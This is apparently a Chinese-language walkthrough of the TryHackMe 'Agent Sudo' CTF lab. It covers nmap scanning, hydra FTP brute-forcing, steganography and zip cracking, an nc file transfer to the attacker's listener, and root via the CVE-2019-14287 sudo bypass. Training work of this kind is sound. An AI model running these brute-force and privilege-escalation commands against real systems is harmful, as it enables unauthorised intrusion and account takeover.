Agent Sudo | Writeup | TryHackMe、
一、信息收集
使用nmap对ip地址的端口进行探测
nmap -sS -sV -A <ip>
- 可以看到上面80端口开放这一个web服务器我们看看
- 这里提示了R作为user-agent来进行访问,使用curl命令看看
curl -A "R" -L 10.10.12.116
- 这里又给了我们一段提示告诉我们这里不是R但是是26个英文字母之一,然后我去从A开始尝试,到C这里找到了我想要的
二、哈希破解和暴力破解
- 这里给了我们一个用户名
chris
但是不知道这个用户是FTP的还是SSH的我们使用hydra来爆破看看
hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.12.116 ftp
- 成功爆破出了密码,我们登录看看
- 下面有一个写给J的文件和两张图片我们全部下载下来
- 查看写给J的文件其中解释说密码在假图像中
- 我们使用binwalk来查看文件
binwalk
是一个 二进制文件分析工具,主要用于 嵌入式固件、固件镜像和二进制文件的逆向工程。它能够自动识别文件中的特征结构、压缩包、可执行文件、加密数据等,非常适合安全研究和 CTF 场景
- 在这里PNG 文件里隐藏了一个加密的 Zip 文件,这是典型的 隐写术(steganography)我们把隐藏在图片里的zip文件提取出来
binwalk -e cutie.png
如果提示没有jar你可以通过安装 default-jdk
或者 openjdk-11-jdk
获得 jar
# 安装默认 JDK
sudo apt update
sudo apt install default-jdk
# 或者指定版本
sudo apt install openjdk-11-jdk
- 这里还是不能直接对这个加密的zip进行爆破,得使用zip2john
zip2john
是 John the Ripper(JtR)套件里自带的一个工具,用来将 加密的 ZIP 文件 转换成 John the Ripper 可以识别的 hash 格式,以便进行密码破解。
当你有一个 加密的 ZIP 文件 时,直接用 John the Ripper 是不行的
zip2john
会把 ZIP 文件里的加密信息提取出来,生成一个类似 hash 的文本文件
然后你可以用 john
来暴力破解或者字典破解这个密码
- 转换完后直接使用john来破解得到密码alien,接下来使用这个密码解压8702.zip
- 查看文件内容
- 这里给了我们一个密码
QXJLYTUx
,好像是进过base64编码过的解码 拿到密码
- 使用steghide查看
三、捕获用户标志
- 查看message.txt文件,告诉了我们账户和密码
账户:james
密码:hackerrules!
- 使用ssh登录
SSH
- 拿到flag
- 使用nc将图片反弹到我们kali上面
KALI:nc -lvnp 4444 > Alien.jpg
james@agent-sudo:~$ nc 10.17.35.134 4444 < Alien_autospy.jpg
- 查看图片,算了不看了直接告诉你们这是美国的Roswell alien autopsy事件,因为我当时做这个题目的时候已经很疲惫了,所以给吓到了
四、提权
- 属于sudo -l看看当前用户有什么是以root身份启动的命令
(ALL, !root)
:意思是 james 可以以任何用户身份执行 /bin/bash
,但是不能直接成为 root/bin/bash
是 可以用 sudo 执行的命令
关键点:可以切换到其他用户,包括系统里权限更高的用户(如果存在),或者一些有特殊权限的服务账户
- 我们查看sudo版本
根据 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287
在 Sudo 1.8.28 之前,一个拥有访问 Runas ALL sudoer 账户的攻击者可以通过调用 sudo 并使用精心制作的用户 ID 来绕过某些策略黑名单和会话 PAM 模块,并导致错误记录。例如,这允许绕过!root 配置和 USER=记录,对于
sudo -u \#$((0xffffffff))
命令。
sudo -u \#$((0xffffffff)) /bin/bash